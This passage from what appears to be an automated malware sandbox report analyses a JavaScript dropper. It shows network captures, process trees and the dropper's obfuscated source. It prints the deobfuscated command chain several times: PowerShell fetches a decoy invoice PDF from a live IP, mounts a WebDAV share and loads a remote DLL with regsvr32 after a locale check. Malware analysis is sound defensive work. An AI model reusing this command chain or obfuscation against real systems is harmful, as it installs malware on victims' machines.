Jan 11, 2025 00:39:40.222985983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.222990036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:40.223010063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.223031998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:40.557435989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:41.311208010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:41.985903025 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:41.990714073 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:41.990816116 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:41.994507074 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:42.002966881 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:42.803896904 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 00:39:42.848189116 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 00:39:43.007695913 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:39:51.103430986 CET	50721	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:39:51.103430986 CET	192.168.2.4	1.1.1.1	0xade0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:39:51.112353086 CET	1.1.1.1	192.168.2.4	0xade0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:39:51.956836939 CET	1.1.1.1	192.168.2.4	0xfdd5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:39:51.956836939 CET	1.1.1.1	192.168.2.4	0xfdd5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	3132	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:39:38.668929100 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:39:39.479348898 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:39:39 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 00:39:39.479365110 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:39:39.479376078 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 00:39:39.479418039 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 00:39:39.479429960 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 00:39:39.479439974 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 00:39:39.479451895 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 00:39:39.479464054 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 00:39:39.479479074 CET	104	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?
Jan 11, 2025 00:39:39.479490995 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 00:39:39.484431982 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	3916	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:39:41.994507074 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:39:42.803896904 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:39:42 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	18:39:34
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\21534160892486631756.js"
Imagebase:	0x7ff603bf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:39:35
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Imagebase:	0x7ff61f040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:39:35
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:39:35
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:39:41
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	18:39:41
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff61f040000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:39:41
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff681050000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:39:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	18:39:43
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:39:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1580,i,5060979939667623711,5876403959662584586,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bjulgb() {	bjulgb() ➔ undefined
1	gatvnide = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kcvhtdxq = this[peqdn + gppeit + hioiat + lodmwn + edxqeny + lxxecjf + efwsymb + pbunzn] ( this[fhejf + pigmfte + qtnnoj + hioiat + puydwskhn + peqdn + pbunzn][elutdj + hioiat + edxqeny + gppeit + pbunzn + edxqeny + kkltm + hgxmqcml + nlriyw + edxqeny + qtnnoj + pbunzn] ( fhejf + pigmfte + qtnnoj + hioiat + puydwskhn + peqdn + pbunzn + mqxrg + pigmfte + xrbyhipmy + edxqeny + iknyu + iknyu ) [difbcj + edxqeny + dxbtt + difbcj + edxqeny + gppeit + bzbhoda] ( wedqifwhr + yxgkzgsms + qswnzeak + kmobcfktl + kctjyrt + elutdj + yivpg + difbcj + difbcj + qswnzeak + lmovrwqy + dejlxkcm + kctjyrt + yivpg + pigmfte + qswnzeak + difbcj + dqumysak + elutdj + fmowutdlg + efwsymb + pbunzn + hioiat + fmowutdlg + iknyu + pcqpts + infvivfx + gppeit + efwsymb + edxqeny + iknyu + dqumysak + lxxecjf + efwsymb + pbunzn + edxqeny + hioiat + efwsymb + gppeit + pbunzn + puydwskhn + fmowutdlg + efwsymb + gppeit + iknyu + dqumysak + zghjmt + fmowutdlg + qtnnoj + gppeit + iknyu + edxqeny ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tyatrcx = 0 ; tyatrcx < gatvnide[iknyu + edxqeny + efwsymb + dxbtt + pbunzn + xrbyhipmy] ; ++ tyatrcx )
4	{
5	if ( kcvhtdxq == gatvnide[tyatrcx] )
6	{
7	kcvhtdxq = true;
8	break ;
9	}
10	}
11	if ( kcvhtdxq !== true )
12	this[fhejf + pigmfte + qtnnoj + hioiat + puydwskhn + peqdn + pbunzn][opmrt + wwsrlfm + puydwskhn + pbunzn] ( );
13	this[fhejf + pigmfte + qtnnoj + hioiat + puydwskhn + peqdn + pbunzn][elutdj + hioiat + edxqeny + gppeit + pbunzn + edxqeny + kkltm + hgxmqcml + nlriyw + edxqeny + qtnnoj + pbunzn] ( fhejf + pigmfte + qtnnoj + hioiat + puydwskhn + peqdn + pbunzn + mqxrg + pigmfte + xrbyhipmy + edxqeny + iknyu + iknyu ) [hioiat + wwsrlfm + efwsymb] ( qtnnoj + sjscnbkls + bzbhoda + pcqpts + uoxququn + qtnnoj + pcqpts + peqdn + fmowutdlg + gtbxzbh + edxqeny + hioiat + lodmwn + xrbyhipmy + edxqeny + iknyu + iknyu + mqxrg + edxqeny + kvmeu + edxqeny + pcqpts + sumnae + elutdj + fmowutdlg + sjscnbkls + sjscnbkls + gppeit + efwsymb + bzbhoda + pcqpts + nafospv + lxxecjf + efwsymb + kjkzvvklt + fmowutdlg + wafivyr + edxqeny + sumnae + fhejf + edxqeny + hgxmqcml + difbcj + edxqeny + dvteu + wwsrlfm + edxqeny + lodmwn + pbunzn + pcqpts + sumnae + kkltm + wwsrlfm + pbunzn + pfsfdfoo + puydwskhn + iknyu + edxqeny + pcqpts + vjogi + pbunzn + edxqeny + sjscnbkls + peqdn + vjogi + dqumysak + puydwskhn + efwsymb + kjkzvvklt + fmowutdlg + puydwskhn + qtnnoj + edxqeny + mqxrg + peqdn + bzbhoda + uyyilljf + pcqpts + xrbyhipmy + pbunzn + pbunzn + peqdn + kqxeooo + uoxququn + uoxququn + vyabjc + dhmvytix + czjcgqu + mqxrg + vyabjc + icekbkr + czjcgqu + mqxrg + vyabjc + mqxrg + urlpagfx + swzathsm + ytryojn + uoxququn + puydwskhn + efwsymb + kjkzvvklt + fmowutdlg + puydwskhn + qtnnoj + edxqeny + mqxrg + peqdn + xrbyhipmy + peqdn + nafospv + pnkchmnx + pnkchmnx + lodmwn + pbunzn + gppeit + hioiat + pbunzn + pcqpts + vjogi + pbunzn + edxqeny + sjscnbkls + peqdn + vjogi + dqumysak + puydwskhn + efwsymb + kjkzvvklt + fmowutdlg + puydwskhn + qtnnoj + edxqeny + mqxrg + peqdn + bzbhoda + uyyilljf + pnkchmnx + pnkchmnx + qtnnoj + sjscnbkls + bzbhoda + pcqpts + uoxququn + qtnnoj + pcqpts + efwsymb + edxqeny + pbunzn + pcqpts + wwsrlfm + lodmwn + edxqeny + pcqpts + dqumysak + dqumysak + vyabjc + dhmvytix + czjcgqu + mqxrg + vyabjc + icekbkr + czjcgqu + mqxrg + vyabjc + mqxrg + urlpagfx + swzathsm + ytryojn + vjuxy + esnbqyuld + esnbqyuld + esnbqyuld + esnbqyuld + dqumysak + bzbhoda + gppeit + kjkzvvklt + gtbxzbh + gtbxzbh + gtbxzbh + hioiat + fmowutdlg + fmowutdlg + pbunzn + dqumysak + pnkchmnx + pnkchmnx + qtnnoj + sjscnbkls + bzbhoda + pcqpts + uoxququn + qtnnoj + pcqpts + hioiat + edxqeny + dxbtt + lodmwn + kjkzvvklt + hioiat + czjcgqu + urlpagfx + pcqpts + uoxququn + lodmwn + pcqpts + dqumysak + dqumysak + vyabjc + dhmvytix + czjcgqu + mqxrg + vyabjc + icekbkr + czjcgqu + mqxrg + vyabjc + mqxrg + urlpagfx + swzathsm + ytryojn + vjuxy + esnbqyuld + esnbqyuld + esnbqyuld + esnbqyuld + dqumysak + bzbhoda + gppeit + kjkzvvklt + gtbxzbh + gtbxzbh + gtbxzbh + hioiat + fmowutdlg + fmowutdlg + pbunzn + dqumysak + urlpagfx + hzadafc + hzadafc + icekbkr + hzadafc + urlpagfx + swzathsm + czjcgqu + swzathsm + swzathsm + esnbqyuld + dhmvytix + xdjrkq + vyabjc + mqxrg + bzbhoda + iknyu + iknyu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll",0,false) ➔ 0
14	}
15	lmovrwqy = "l";
16	lmovrwqy = "f";
17	lmovrwqy = "f";
18	lmovrwqy = "E";
19	lmovrwqy = "C";
20	lmovrwqy = "l";
21	lmovrwqy = "z";
22	lmovrwqy = "N";
23	swzathsm = "T";
24	swzathsm = "p";
25	swzathsm = "l";
26	swzathsm = "h";
27	swzathsm = "d";
28	swzathsm = "K";
29	swzathsm = "n";
30	swzathsm = "u";
31	swzathsm = "R";
32	swzathsm = "a";
33	swzathsm = "l";
34	swzathsm = "l";
35	swzathsm = "F";
36	swzathsm = "j";
37	swzathsm = "J";
38	swzathsm = "D";
39	swzathsm = "W";
40	swzathsm = "v";
41	swzathsm = "l";
42	swzathsm = "o";
43	swzathsm = "v";
44	swzathsm = "R";
45	swzathsm = "j";
46	swzathsm = "l";
47	swzathsm = "o";
48	swzathsm = "l";
49	swzathsm = "v";
50	swzathsm = "H";
51	swzathsm = "L";
52	swzathsm = "l";
53	swzathsm = "G";
54	swzathsm = "g";
55	swzathsm = "y";
56	swzathsm = "i";
57	swzathsm = "H";
58	swzathsm = "X";
59	swzathsm = "V";
60	swzathsm = "e";
61	swzathsm = "r";
62	swzathsm = "r";
63	swzathsm = "a";
64	swzathsm = "B";
65	swzathsm = "0";
66	sjscnbkls = "B";
67	sjscnbkls = "f";
68	sjscnbkls = "x";
69	sjscnbkls = "p";
70	sjscnbkls = "r";
71	sjscnbkls = "W";
72	sjscnbkls = "B";
73	sjscnbkls = "z";
74	sjscnbkls = "b";
75	sjscnbkls = "h";
76	sjscnbkls = "N";
77	sjscnbkls = "O";
78	sjscnbkls = "c";
79	sjscnbkls = "O";
80	sjscnbkls = "d";
81	sjscnbkls = "Z";
82	sjscnbkls = "I";
83	sjscnbkls = "f";
84	sjscnbkls = "l";
85	sjscnbkls = "B";
86	sjscnbkls = "m";
87	dqumysak = "J";
88	dqumysak = "c";
89	dqumysak = "K";
90	dqumysak = "S";
91	dqumysak = "\\";
92	fmowutdlg = "X";
93	fmowutdlg = "t";
94	fmowutdlg = "v";
95	fmowutdlg = "R";
96	fmowutdlg = "q";
97	fmowutdlg = "c";
98	fmowutdlg = "d";
99	fmowutdlg = "A";
100	fmowutdlg = "J";
101	fmowutdlg = "O";
102	fmowutdlg = "W";
103	fmowutdlg = "Y";
104	fmowutdlg = "j";
105	fmowutdlg = "O";
106	fmowutdlg = "R";
107	fmowutdlg = "q";
108	fmowutdlg = "K";
109	fmowutdlg = "r";
110	fmowutdlg = "A";
111	fmowutdlg = "R";
112	fmowutdlg = "j";
113	fmowutdlg = "Z";
114	fmowutdlg = "c";
115	fmowutdlg = "D";
116	fmowutdlg = "C";
117	fmowutdlg = "L";
118	fmowutdlg = "X";
119	fmowutdlg = "k";
120	fmowutdlg = "v";
121	fmowutdlg = "g";
122	fmowutdlg = "Y";
123	fmowutdlg = "a";
124	fmowutdlg = "o";
125	dejlxkcm = "t";
126	dejlxkcm = "X";
127	dejlxkcm = "j";
128	dejlxkcm = "T";
129	dejlxkcm = "K";
130	dejlxkcm = "Q";
131	dejlxkcm = "a";
132	dejlxkcm = "y";
133	dejlxkcm = "h";
134	dejlxkcm = "Q";
135	dejlxkcm = "W";
136	dejlxkcm = "L";
137	dejlxkcm = "p";
138	dejlxkcm = "r";
139	dejlxkcm = "o";
140	dejlxkcm = "d";
141	dejlxkcm = "o";
142	dejlxkcm = "n";
143	dejlxkcm = "G";
144	dejlxkcm = "Q";
145	dejlxkcm = "x";
146	dejlxkcm = "O";
147	dejlxkcm = "u";
148	dejlxkcm = "T";
149	opmrt = "u";
150	opmrt = "I";
151	opmrt = "w";
152	opmrt = "P";
153	opmrt = "Y";
154	opmrt = "Z";
155	opmrt = "X";
156	opmrt = "N";
157	opmrt = "J";
158	opmrt = "O";
159	opmrt = "a";
160	opmrt = "y";
161	opmrt = "Q";
162	opmrt = "w";
163	opmrt = "y";
164	opmrt = "C";
165	opmrt = "w";
166	opmrt = "d";
167	opmrt = "h";
168	opmrt = "C";
169	opmrt = "h";
170	opmrt = "F";
171	opmrt = "o";
172	opmrt = "u";
173	opmrt = "S";
174	opmrt = "N";
175	opmrt = "y";
176	opmrt = "I";
177	opmrt = "t";
178	opmrt = "A";
179	opmrt = "M";
180	opmrt = "j";
181	opmrt = "S";
182	opmrt = "N";
183	opmrt = "U";
184	opmrt = "z";
185	opmrt = "r";
186	opmrt = "c";
187	opmrt = "b";
188	opmrt = "z";
189	opmrt = "v";
190	opmrt = "B";
191	opmrt = "X";
192	opmrt = "t";
193	opmrt = "Q";
194	kmobcfktl = "z";
195	kmobcfktl = "n";
196	kmobcfktl = "I";
197	kmobcfktl = "L";
198	kmobcfktl = "T";
199	kmobcfktl = "j";
200	kmobcfktl = "I";
